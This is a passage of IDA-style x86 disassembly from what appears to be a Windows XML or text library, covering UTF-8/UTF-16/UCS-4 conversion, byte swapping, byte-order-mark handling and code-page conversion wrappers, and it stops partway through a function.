; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3683A proc near ; CODE XREF: sub_69B39B6B+5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
jnz short loc_69B3684C
xor eax, eax
jmp loc_69B36936
; ---------------------------------------------------------------------------
loc_69B3684C: ; CODE XREF: sub_69B3683A+9j
push esi
push 48h
call sub_69B11E44
cmp eax, ebx
jz short loc_69B36866
push [ebp+arg_0]
mov ecx, eax
call sub_69B36793
mov esi, eax
jmp short loc_69B36868
; ---------------------------------------------------------------------------
loc_69B36866: ; CODE XREF: sub_69B3683A+1Cj
xor esi, esi
loc_69B36868: ; CODE XREF: sub_69B3683A+2Aj
cmp esi, ebx
jnz short loc_69B36873
xor eax, eax
jmp loc_69B36935
; ---------------------------------------------------------------------------
loc_69B36873: ; CODE XREF: sub_69B3683A+30j
mov eax, [ebp+arg_4]
cmp eax, ebx
push edi
jnz short loc_69B36896
push ebx
push ebx
push 5
push offset aUtf8 ; "UTF-8"
call sub_69B37036
cmp eax, ebx
mov [esi+14h], eax
jz loc_69B36925
jmp short loc_69B36899
; ---------------------------------------------------------------------------
loc_69B36896: ; CODE XREF: sub_69B3683A+3Fj
mov [esi+14h], eax
loc_69B36899: ; CODE XREF: sub_69B3683A+5Aj
lea edi, [esi+38h]
push edi
lea ecx, [esi+34h]
push ecx
lea eax, [esi+10h]
push eax
push dword ptr [esi+14h]
mov [esi+40h], bl
mov dword ptr [edi], 3
call sub_69B37251
test eax, eax
jl short loc_69B36925
mov eax, [edi]
inc eax
shr eax, 1
shl eax, 0Dh
push eax
mov [esi+20h], eax
call sub_69B11E44
cmp eax, ebx
mov [esi+1Ch], eax
jz short loc_69B36925
mov eax, [esi+14h]
cmp [eax+9], bl
jz short loc_69B36932
cmp [eax+8], bl
jz short loc_69B368E9
mov byte ptr [ebp+arg_4+2], 0FFh
mov byte ptr [ebp+arg_4+3], 0FEh
jmp short loc_69B368F1
; ---------------------------------------------------------------------------
loc_69B368E9: ; CODE XREF: sub_69B3683A+A3j
mov byte ptr [ebp+arg_4+2], 0FEh
mov byte ptr [ebp+arg_4+3], 0FFh
loc_69B368F1: ; CODE XREF: sub_69B3683A+ADj
mov edi, [ebp+arg_0]
mov eax, [edi]
lea ecx, [ebp+arg_0]
push ecx
push 2
lea ecx, [ebp+arg_4+2]
push ecx
push edi
call dword ptr [eax+10h]
test eax, eax
jl short loc_69B36925
cmp dword ptr [esi+10h], 2EE0h
jnz short loc_69B36932
mov eax, [edi]
lea ecx, [ebp+arg_0]
push ecx
push 2
lea ecx, [ebp+arg_4+2]
push ecx
push edi
call dword ptr [eax+10h]
test eax, eax
jge short loc_69B36932
loc_69B36925: ; CODE XREF: sub_69B3683A+54j
; sub_69B3683A+7Ej ...
lea ecx, [esi+4]
mov eax, [ecx]
push 1
call dword ptr [eax]
xor eax, eax
jmp short loc_69B36934
; ---------------------------------------------------------------------------
loc_69B36932: ; CODE XREF: sub_69B3683A+9Ej
; sub_69B3683A+D5j ...
mov eax, esi
loc_69B36934: ; CODE XREF: sub_69B3683A+F6j
pop edi
loc_69B36935: ; CODE XREF: sub_69B3683A+34j
pop esi
loc_69B36936: ; CODE XREF: sub_69B3683A+Dj
pop ebx
pop ebp
retn 8
sub_69B3683A endp
; =============== S U B R O U T I N E =======================================
sub_69B3693B proc near ; DATA XREF: sub_69B370C8+14o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea eax, [eax+eax*2]
mov eax, ds:off_69B271A0[eax*8]
retn 4
sub_69B3693B endp
; =============== S U B R O U T I N E =======================================
sub_69B3694C proc near ; CODE XREF: sub_69B370C8+21p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_4]
xor ebx, ebx
dec edi
loc_69B36956: ; CODE XREF: sub_69B3694C+33j
lea eax, [edi+ebx]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push esi
call [esp+10h+arg_8]
push eax
push [esp+10h+arg_0]
call sub_69B2ED17
test eax, eax
jge short loc_69B36978
lea edi, [esi-1]
jmp short loc_69B3697D
; ---------------------------------------------------------------------------
loc_69B36978: ; CODE XREF: sub_69B3694C+25j
jle short loc_69B36986
lea ebx, [esi+1]
loc_69B3697D: ; CODE XREF: sub_69B3694C+2Aj
cmp ebx, edi
jle short loc_69B36956
or eax, 0FFFFFFFFh
jmp short loc_69B36988
; ---------------------------------------------------------------------------
loc_69B36986: ; CODE XREF: sub_69B3694C:loc_69B36978j
mov eax, esi
loc_69B36988: ; CODE XREF: sub_69B3694C+38j
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B3694C endp
; =============== S U B R O U T I N E =======================================
sub_69B3698E proc near ; CODE XREF: sub_69B36CF7+3p
; sub_69B37003+3p ...
push offset ppv ; ppv
call sub_69B2C68C
retn
sub_69B3698E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36999 proc near ; DATA XREF: .text:69B272C8o
; .text:69B272F8o ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_C]
mov eax, [eax]
mov ecx, [ebp+arg_14]
and [ebp+var_8], 0
test eax, eax
mov edx, [ecx]
mov [ebp+var_C], eax
mov [ebp+var_10], edx
mov [ebp+var_1], 1
jbe loc_69B36B64
mov eax, [ebp+arg_8]
push ebx
mov bl, 80h
push esi
loc_69B369C6: ; CODE XREF: sub_69B36999+4Bj
cmp [ebp+var_8], edx
jnb short loc_69B369E6
movzx cx, byte ptr [eax]
test cl, bl
jnz short loc_69B369E6
mov esi, [ebp+arg_10]
add [ebp+arg_10], 2
inc eax
inc [ebp+var_8]
dec [ebp+var_C]
mov [esi], cx
jnz short loc_69B369C6
loc_69B369E6: ; CODE XREF: sub_69B36999+30j
; sub_69B36999+38j
cmp [ebp+var_C], 0
jbe loc_69B36B62
push edi
loc_69B369F1: ; CODE XREF: sub_69B36999+1C2j
mov ecx, [ebp+var_10]
cmp [ebp+var_8], ecx
jnb loc_69B36B61
mov cl, [eax]
and [ebp+arg_8], 0
movzx di, cl
mov edx, edi
test dl, bl
jz short loc_69B36A1C
loc_69B36A0D: ; CODE XREF: sub_69B36999+7Bj
inc [ebp+arg_8]
shl edx, 1
test dl, bl
jnz short loc_69B36A0D
cmp [ebp+arg_8], 0
jnz short loc_69B36A23
loc_69B36A1C: ; CODE XREF: sub_69B36999+72j
mov [ebp+arg_8], 1
loc_69B36A23: ; CODE XREF: sub_69B36999+81j
mov edx, [ebp+arg_8]
cmp [ebp+var_C], edx
jb loc_69B36B61
xor esi, esi
dec edx
jz loc_69B36B36
dec edx
jz loc_69B36B0F
dec edx
jz loc_69B36AFA
dec edx
jz short loc_69B36A59
dec edx
jz short loc_69B36A54
inc eax
dec edx
jnz loc_69B36B3F
loc_69B36A54: ; CODE XREF: sub_69B36999+B1j
inc eax
mov [ebp+var_1], 0
loc_69B36A59: ; CODE XREF: sub_69B36999+AEj
mov ecx, [ebp+var_10]
dec ecx
cmp [ebp+var_8], ecx
jnb loc_69B36B61
xor ecx, ecx
mov cl, [eax]
and ecx, 7
shl ecx, 12h
mov esi, ecx
inc eax
xor ecx, ecx
mov cl, [eax]
mov dl, cl
and dl, 0C0h
cmp dl, bl
jz short loc_69B36A84
mov [ebp+var_1], 0
loc_69B36A84: ; CODE XREF: sub_69B36999+E5j
and ecx, 3Fh
shl ecx, 0Ch
or esi, ecx
inc eax
xor ecx, ecx
mov cl, [eax]
mov dl, cl
and dl, 0C0h
cmp dl, bl
jz short loc_69B36A9E
mov [ebp+var_1], 0
loc_69B36A9E: ; CODE XREF: sub_69B36999+FFj
and ecx, 3Fh
shl ecx, 6
or esi, ecx
inc eax
xor ecx, ecx
mov cl, [eax]
mov dl, cl
and dl, 0C0h
cmp dl, bl
jz short loc_69B36AB8
mov [ebp+var_1], 0
loc_69B36AB8: ; CODE XREF: sub_69B36999+119j
and ecx, 3Fh
or esi, ecx
inc eax
cmp esi, 10FFFFh
jbe short loc_69B36ACA
mov [ebp+var_1], 0
loc_69B36ACA: ; CODE XREF: sub_69B36999+12Bj
cmp [ebp+var_1], 0
jz short loc_69B36B3F
mov edx, [ebp+arg_10]
add [ebp+arg_10], 2
lea ecx, [esi-10000h]
shr ecx, 0Ah
sub ecx, 2800h
inc [ebp+var_8]
and esi, 3FFh
mov [edx], cx
sub esi, 2400h
jmp short loc_69B36B39
; ---------------------------------------------------------------------------
loc_69B36AFA: ; CODE XREF: sub_69B36999+A7j
shl edi, 0Ch
inc eax
mov cl, [eax]
mov dl, cl
and dl, 0C0h
cmp dl, bl
mov esi, edi
jz short loc_69B36B0F
mov [ebp+var_1], 0
loc_69B36B0F: ; CODE XREF: sub_69B36999+A0j
; sub_69B36999+170j
and cl, 3Fh
movzx cx, cl
shl ecx, 6
or esi, ecx
inc eax
mov cl, [eax]
mov dl, cl
and dl, 0C0h
cmp dl, bl
jz short loc_69B36B2B
mov [ebp+var_1], 0
loc_69B36B2B: ; CODE XREF: sub_69B36999+18Cj
and cl, 3Fh
movzx cx, cl
or esi, ecx
jmp short loc_69B36B38
; ---------------------------------------------------------------------------
loc_69B36B36: ; CODE XREF: sub_69B36999+99j
mov esi, edi
loc_69B36B38: ; CODE XREF: sub_69B36999+19Bj
inc eax
loc_69B36B39: ; CODE XREF: sub_69B36999+15Fj
cmp [ebp+var_1], 0
jnz short loc_69B36B48
loc_69B36B3F: ; CODE XREF: sub_69B36999+B5j
; sub_69B36999+135j
mov esi, 0FFFFh
mov [ebp+var_1], 1
loc_69B36B48: ; CODE XREF: sub_69B36999+1A4j
mov ecx, [ebp+arg_10]
add [ebp+arg_10], 2
inc [ebp+var_8]
mov [ecx], si
mov ecx, [ebp+arg_8]
sub [ebp+var_C], ecx
jnz loc_69B369F1
loc_69B36B61: ; CODE XREF: sub_69B36999+5Ej
; sub_69B36999+90j ...
pop edi
loc_69B36B62: ; CODE XREF: sub_69B36999+51j
pop esi
pop ebx
loc_69B36B64: ; CODE XREF: sub_69B36999+20j
mov ecx, [ebp+var_C]
mov eax, [ebp+arg_C]
sub [eax], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
mov [ecx], eax
xor eax, eax
leave
retn 18h
sub_69B36999 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36B7A proc near ; DATA XREF: .text:off_69B271A8o
; .text:69B27298o ...
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_14]
mov ecx, [edx]
push edi
mov edi, [ebp+arg_C]
mov eax, [edi]
shr eax, 1
cmp eax, ecx
jbe short loc_69B36B90
mov eax, ecx
loc_69B36B90: ; CODE XREF: sub_69B36B7A+12j
test eax, eax
jbe short loc_69B36BB4
mov ecx, [ebp+arg_8]
push ebx
push esi
mov esi, [ebp+arg_10]
mov [ebp+arg_C], eax
loc_69B36B9F: ; CODE XREF: sub_69B36B7A+36j
xor ebx, ebx
mov bh, [ecx]
mov bl, [ecx+1]
mov [esi], bx
inc esi
inc esi
inc ecx
inc ecx
dec [ebp+arg_C]
jnz short loc_69B36B9F
pop esi
pop ebx
loc_69B36BB4: ; CODE XREF: sub_69B36B7A+18j
mov [edx], eax
add eax, eax
mov [edi], eax
xor eax, eax
pop edi
pop ebp
retn 18h
sub_69B36B7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36BC1 proc near ; DATA XREF: sub_69B371A8+63o
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
mov eax, [eax]
mov ecx, [ebp+arg_14]
mov ecx, [ecx]
shr eax, 1
cmp eax, ecx
jbe short loc_69B36BD6
mov eax, ecx
loc_69B36BD6: ; CODE XREF: sub_69B36BC1+11j
push ebx
push esi
mov esi, [ebp+arg_8]
lea edx, [eax+eax]
push edi
mov edi, [ebp+arg_10]
mov ecx, edx
mov ebx, ecx
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov ecx, [ebp+arg_14]
mov [ecx], eax
mov eax, [ebp+arg_C]
pop edi
pop esi
mov [eax], edx
xor eax, eax
pop ebx
pop ebp
retn 18h
sub_69B36BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36C05 proc near ; DATA XREF: .text:69B272B0o
; sub_69B371A8:loc_69B371FAo
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_14]
mov ecx, [edx]
push ebx
push esi
push edi
mov edi, [ebp+arg_C]
mov eax, [edi]
shr eax, 2
cmp eax, ecx
jbe short loc_69B36C1E
mov eax, ecx
loc_69B36C1E: ; CODE XREF: sub_69B36C05+15j
test eax, eax
mov [ebp+arg_C], eax
jbe short loc_69B36C4B
mov esi, [ebp+arg_10]
mov ecx, [ebp+arg_8]
loc_69B36C2B: ; CODE XREF: sub_69B36C05+44j
cmp byte ptr [ecx], 0
jnz short loc_69B36C5B
cmp byte ptr [ecx+1], 0
jnz short loc_69B36C5B
xor ebx, ebx
mov bh, [ecx+2]
add ecx, 4
mov bl, [ecx-1]
mov [esi], bx
inc esi
inc esi
dec [ebp+arg_C]
jnz short loc_69B36C2B
loc_69B36C4B: ; CODE XREF: sub_69B36C05+1Ej
mov [edx], eax
shl eax, 2
mov [edi], eax
xor eax, eax
loc_69B36C54: ; CODE XREF: sub_69B36C05+5Bj
pop edi
pop esi
pop ebx
pop ebp
retn 18h
; ---------------------------------------------------------------------------
loc_69B36C5B: ; CODE XREF: sub_69B36C05+29j
; sub_69B36C05+2Fj
mov eax, 0C00CE51Fh
jmp short loc_69B36C54
sub_69B36C05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36C62 proc near ; DATA XREF: sub_69B371A8+4Ao
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_14]
mov ecx, [edx]
push ebx
push esi
push edi
mov edi, [ebp+arg_C]
mov eax, [edi]
shr eax, 2
cmp eax, ecx
jbe short loc_69B36C7B
mov eax, ecx
loc_69B36C7B: ; CODE XREF: sub_69B36C62+15j
test eax, eax
mov [ebp+arg_C], eax
jbe short loc_69B36CA8
mov esi, [ebp+arg_10]
mov ecx, [ebp+arg_8]
loc_69B36C88: ; CODE XREF: sub_69B36C62+44j
xor ebx, ebx
mov bh, [ecx+1]
mov bl, [ecx]
mov [esi], bx
inc esi
inc esi
cmp byte ptr [ecx+2], 0
jnz short loc_69B36CB8
cmp byte ptr [ecx+3], 0
jnz short loc_69B36CB8
add ecx, 4
dec [ebp+arg_C]
jnz short loc_69B36C88
loc_69B36CA8: ; CODE XREF: sub_69B36C62+1Ej
mov [edx], eax
shl eax, 2
mov [edi], eax
xor eax, eax
loc_69B36CB1: ; CODE XREF: sub_69B36C62+5Bj
pop edi
pop esi
pop ebx
pop ebp
retn 18h
; ---------------------------------------------------------------------------
loc_69B36CB8: ; CODE XREF: sub_69B36C62+36j
; sub_69B36C62+3Cj
mov eax, 0C00CE51Fh
jmp short loc_69B36CB1
sub_69B36C62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B36CBF(int, UINT CodePage, LPCSTR lpMultiByteStr, int, LPWSTR lpWideCharStr, int)
sub_69B36CBF proc near ; DATA XREF: .text:69B271C0o
; .text:69B271D8o ...
CodePage = dword ptr 0Ch
lpMultiByteStr = dword ptr 10h
arg_C = dword ptr 14h
lpWideCharStr = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push esi
mov esi, [ebp+arg_14]
push edi
push dword ptr [esi] ; cchWideChar
xor edi, edi
push [ebp+lpWideCharStr] ; lpWideCharStr
push dword ptr [eax] ; cchMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push 1 ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
test eax, eax
mov [esi], eax
jnz short loc_69B36CEF
call ds:GetLastError
mov edi, eax
loc_69B36CEF: ; CODE XREF: sub_69B36CBF+26j
mov eax, edi
pop edi
pop esi
pop ebp
retn 18h
sub_69B36CBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36CF7 proc near ; DATA XREF: sub_69B371A8+93o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
call sub_69B3698E
test eax, eax
jl short loc_69B36D26
push [ebp+arg_14]
mov eax, ppv
push [ebp+arg_10]
mov ecx, [eax]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [ecx+28h]
test eax, eax
jl short loc_69B36D26
xor eax, eax
loc_69B36D26: ; CODE XREF: sub_69B36CF7+Aj
; sub_69B36CF7+2Bj
pop ebp
retn 18h
sub_69B36CF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36D2A proc near ; DATA XREF: .text:off_69B271ACo
; .text:69B2729Co ...
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_C]
mov ecx, [edx]
push edi
mov edi, [ebp+arg_14]
mov eax, [edi]
shr eax, 1
cmp eax, ecx
jbe short loc_69B36D40
mov eax, ecx
loc_69B36D40: ; CODE XREF: sub_69B36D2A+12j
test eax, eax
jbe short loc_69B36D63
mov ecx, [ebp+arg_10]
push ebx
push esi
mov esi, [ebp+arg_8]
mov [ebp+arg_14], eax
loc_69B36D4F: ; CODE XREF: sub_69B36D2A+35j
mov bl, [esi+1]
mov [ecx], bl
mov bl, [esi]
inc ecx
mov [ecx], bl
inc ecx
inc esi
inc esi
dec [ebp+arg_14]
jnz short loc_69B36D4F
pop esi
pop ebx
loc_69B36D63: ; CODE XREF: sub_69B36D2A+18j
mov [edx], eax
add eax, eax
mov [edi], eax
xor eax, eax
pop edi
pop ebp
retn 18h
sub_69B36D2A endp
; =============== S U B R O U T I N E =======================================
sub_69B36D70 proc near ; DATA XREF: sub_69B37251+63o
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov edx, [esp+arg_14]
mov eax, [edx]
push ebx
mov ebx, [esp+4+arg_C]
mov ecx, [ebx]
shr eax, 1
cmp eax, ecx
push esi
push edi
jbe short loc_69B36D87
mov eax, ecx
loc_69B36D87: ; CODE XREF: sub_69B36D70+13j
mov esi, [esp+0Ch+arg_8]
mov edi, [esp+0Ch+arg_10]
mov ecx, eax
rep movsw
mov [ebx], eax
pop edi
add eax, eax
pop esi
mov [edx], eax
xor eax, eax
pop ebx
retn 18h
sub_69B36D70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36DA2 proc near ; DATA XREF: .text:69B272B4o
; sub_69B37251:loc_69B372A3o
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_C]
mov eax, [edx]
push edi
mov edi, [ebp+arg_14]
mov ecx, [edi]
shr ecx, 2
cmp ecx, eax
jbe short loc_69B36DB9
mov ecx, eax
loc_69B36DB9: ; CODE XREF: sub_69B36DA2+13j
test ecx, ecx
jbe short loc_69B36DE4
mov eax, [ebp+arg_10]
push ebx
push esi
mov esi, [ebp+arg_8]
mov [ebp+arg_14], ecx
loc_69B36DC8: ; CODE XREF: sub_69B36DA2+3Ej
mov byte ptr [eax], 0
inc eax
mov byte ptr [eax], 0
mov bl, [esi+1]
inc eax
mov [eax], bl
mov bl, [esi]
inc eax
mov [eax], bl
inc eax
inc esi
inc esi
dec [ebp+arg_14]
jnz short loc_69B36DC8
pop esi
pop ebx
loc_69B36DE4: ; CODE XREF: sub_69B36DA2+19j
mov eax, ecx
shl eax, 2
mov [edx], ecx
mov [edi], eax
xor eax, eax
pop edi
pop ebp
retn 18h
sub_69B36DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36DF4 proc near ; DATA XREF: sub_69B37251+4Ao
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_C]
mov eax, [edx]
push edi
mov edi, [ebp+arg_14]
mov ecx, [edi]
shr ecx, 2
cmp ecx, eax
jbe short loc_69B36E0B
mov ecx, eax
loc_69B36E0B: ; CODE XREF: sub_69B36DF4+13j
test ecx, ecx
jbe short loc_69B36E36
mov eax, [ebp+arg_10]
push ebx
push esi
mov esi, [ebp+arg_8]
mov [ebp+arg_14], ecx
loc_69B36E1A: ; CODE XREF: sub_69B36DF4+3Ej
mov bl, [esi]
mov [eax], bl
mov bl, [esi+1]
inc eax
mov [eax], bl
inc eax
mov byte ptr [eax], 0
inc eax
mov byte ptr [eax], 0
inc eax
inc esi
inc esi
dec [ebp+arg_14]
jnz short loc_69B36E1A
pop esi
pop ebx
loc_69B36E36: ; CODE XREF: sub_69B36DF4+19j
mov eax, ecx
shl eax, 2
mov [edx], ecx
mov [edi], eax
xor eax, eax
pop edi
pop ebp
retn 18h
sub_69B36DF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36E46 proc near ; CODE XREF: sub_69B7A98A+75p
; DATA XREF: .text:69B272CCo ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_C]
push esi
push edi
mov edi, [eax]
mov eax, [ebp+arg_14]
mov eax, [eax]
xor esi, esi
mov [ebp+var_10], eax
dec eax
dec eax
test edi, edi
mov [ebp+var_C], eax
mov [ebp+var_1], 0
mov [ebp+var_8], edi
jbe loc_69B36FA4
mov eax, [ebp+arg_10]
push ebx
mov ebx, 80h
loc_69B36E7A: ; CODE XREF: sub_69B36E46+14Bj
cmp [ebp+var_1], 0
mov ecx, [ebp+arg_8]
movzx edx, word ptr [ecx]
jz loc_69B36F21
cmp edx, 0DC00h
jb short loc_69B36EEC
cmp edx, 0DFFFh
ja short loc_69B36EEC
mov ecx, [ebp+var_C]
dec ecx
cmp esi, ecx
jnb loc_69B36F97
mov ecx, [ebp+arg_10]
add ecx, 0FFFF2809h
shl ecx, 0Ah
add ecx, edx
mov edx, ecx
shr edx, 12h
or dl, 0F0h
mov [eax], dl
mov edx, ecx
shr edx, 0Ch
and dl, 3Fh
or dl, bl
add esi, 4
inc eax
mov [eax], dl
mov edx, ecx
shr edx, 6
and dl, 3Fh
inc eax
or dl, bl
mov [eax], dl
inc eax
and cl, 3Fh
or cl, bl
mov [eax], cl
mov [ebp+var_1], 0
jmp loc_69B36F89
; ---------------------------------------------------------------------------
loc_69B36EEC: ; CODE XREF: sub_69B36E46+4Aj
; sub_69B36E46+52j
cmp esi, [ebp+var_C]
jnb loc_69B36F97
mov ecx, [ebp+arg_10]
shr ecx, 0Ch
or cl, 0E0h
mov [eax], cl
mov ecx, [ebp+arg_10]
shr ecx, 6
and cl, 3Fh
or cl, bl
add esi, 3
inc eax
mov [eax], cl
mov cl, byte ptr [ebp+arg_10]
and cl, 3Fh
inc eax
or cl, bl
mov [eax], cl
inc eax
mov [ebp+var_1], 0
loc_69B36F21: ; CODE XREF: sub_69B36E46+3Ej
cmp edx, ebx
jnb short loc_69B36F2D
cmp esi, [ebp+var_10]
jnb short loc_69B36F97
inc esi
jmp short loc_69B36F87
; ---------------------------------------------------------------------------
loc_69B36F2D: ; CODE XREF: sub_69B36E46+DDj
cmp edx, 800h
jnb short loc_69B36F49
mov ecx, [ebp+var_10]
dec ecx
cmp esi, ecx
jnb short loc_69B36F97
inc esi
mov ecx, edx
shr ecx, 6
inc esi
or cl, 0C0h
jmp short loc_69B36F7F
; ---------------------------------------------------------------------------
loc_69B36F49: ; CODE XREF: sub_69B36E46+EDj
cmp edx, 0D800h
jb short loc_69B36F62
cmp edx, 0DBFFh
ja short loc_69B36F62
mov [ebp+arg_10], edx
mov [ebp+var_1], 1
jmp short loc_69B36F8A
; ---------------------------------------------------------------------------
loc_69B36F62: ; CODE XREF: sub_69B36E46+109j
; sub_69B36E46+111j
cmp esi, [ebp+var_C]
jnb short loc_69B36F97
mov ecx, edx
shr ecx, 0Ch
or cl, 0E0h
mov [eax], cl
mov ecx, edx
shr ecx, 6
add esi, 3
and cl, 3Fh
inc eax
or cl, bl
loc_69B36F7F: ; CODE XREF: sub_69B36E46+101j
and dl, 3Fh
mov [eax], cl
inc eax
or dl, bl
loc_69B36F87: ; CODE XREF: sub_69B36E46+E5j
mov [eax], dl
loc_69B36F89: ; CODE XREF: sub_69B36E46+A1j
inc eax
loc_69B36F8A: ; CODE XREF: sub_69B36E46+11Aj
add [ebp+arg_8], 2
dec [ebp+var_8]
jnz loc_69B36E7A
loc_69B36F97: ; CODE XREF: sub_69B36E46+5Aj
; sub_69B36E46+A9j ...
cmp [ebp+var_1], 0
pop ebx
jz short loc_69B36FA4
sub edi, [ebp+var_8]
dec edi
jmp short loc_69B36FA7
; ---------------------------------------------------------------------------
loc_69B36FA4: ; CODE XREF: sub_69B36E46+25j
; sub_69B36E46+156j
sub edi, [ebp+var_8]
loc_69B36FA7: ; CODE XREF: sub_69B36E46+15Cj
mov eax, [ebp+arg_C]
mov [eax], edi
mov eax, [ebp+arg_14]
mov [eax], esi
pop edi
xor eax, eax
pop esi
leave
retn 18h
sub_69B36E46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B36FB9(int, UINT CodePage, LPCWSTR lpWideCharStr, int, LPSTR lpMultiByteStr, int)
sub_69B36FB9 proc near ; DATA XREF: .text:69B271C4o
; .text:69B271DCo ...
UsedDefaultChar = dword ptr -4
CodePage = dword ptr 0Ch
lpWideCharStr = dword ptr 10h
arg_C = dword ptr 14h
lpMultiByteStr = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_14]
push edi
lea eax, [ebp+UsedDefaultChar]
push eax ; lpUsedDefaultChar
mov eax, [ebp+arg_C]
xor edi, edi
push edi ; lpDefaultChar
push dword ptr [esi] ; cchMultiByte
mov [ebp+UsedDefaultChar], edi
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push dword ptr [eax] ; cchWideChar
push [ebp+lpWideCharStr] ; lpWideCharStr
push edi ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
cmp eax, edi
mov [esi], eax
jnz short loc_69B36FF3
call ds:GetLastError
mov edi, eax
jmp short loc_69B36FFB
; ---------------------------------------------------------------------------
loc_69B36FF3: ; CODE XREF: sub_69B36FB9+2Ej
cmp [ebp+UsedDefaultChar], edi
jz short loc_69B36FFB
xor edi, edi
inc edi
loc_69B36FFB: ; CODE XREF: sub_69B36FB9+38j
; sub_69B36FB9+3Dj
mov eax, edi
pop edi
pop esi
leave
retn 18h
sub_69B36FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B37003 proc near ; DATA XREF: sub_69B37251+93o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
call sub_69B3698E
test eax, eax
jl short loc_69B37032
push [ebp+arg_14]
mov eax, ppv
push [ebp+arg_10]
mov ecx, [eax]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [ecx+2Ch]
test eax, eax
jl short loc_69B37032
xor eax, eax
loc_69B37032: ; CODE XREF: sub_69B37003+Aj
; sub_69B37003+2Bj
pop ebp
retn 18h
sub_69B37003 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B37036 proc near ; CODE XREF: sub_69B35F15+1Dp
; sub_69B360BA+2Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ebx
push 0Ch
call sub_69B11E44
test eax, eax
jz short loc_69B3704F
mov dword ptr [eax], offset off_69B276A8
mov ebx, eax
jmp short loc_69B37051
; ---------------------------------------------------------------------------
loc_69B3704F: ; CODE XREF: sub_69B37036+Dj
xor ebx, ebx
loc_69B37051: ; CODE XREF: sub_69B37036+17j
test ebx, ebx
jnz short loc_69B37059
xor eax, eax
jmp short loc_69B370AF
; ---------------------------------------------------------------------------
loc_69B37059: ; CODE XREF: sub_69B37036+1Dj
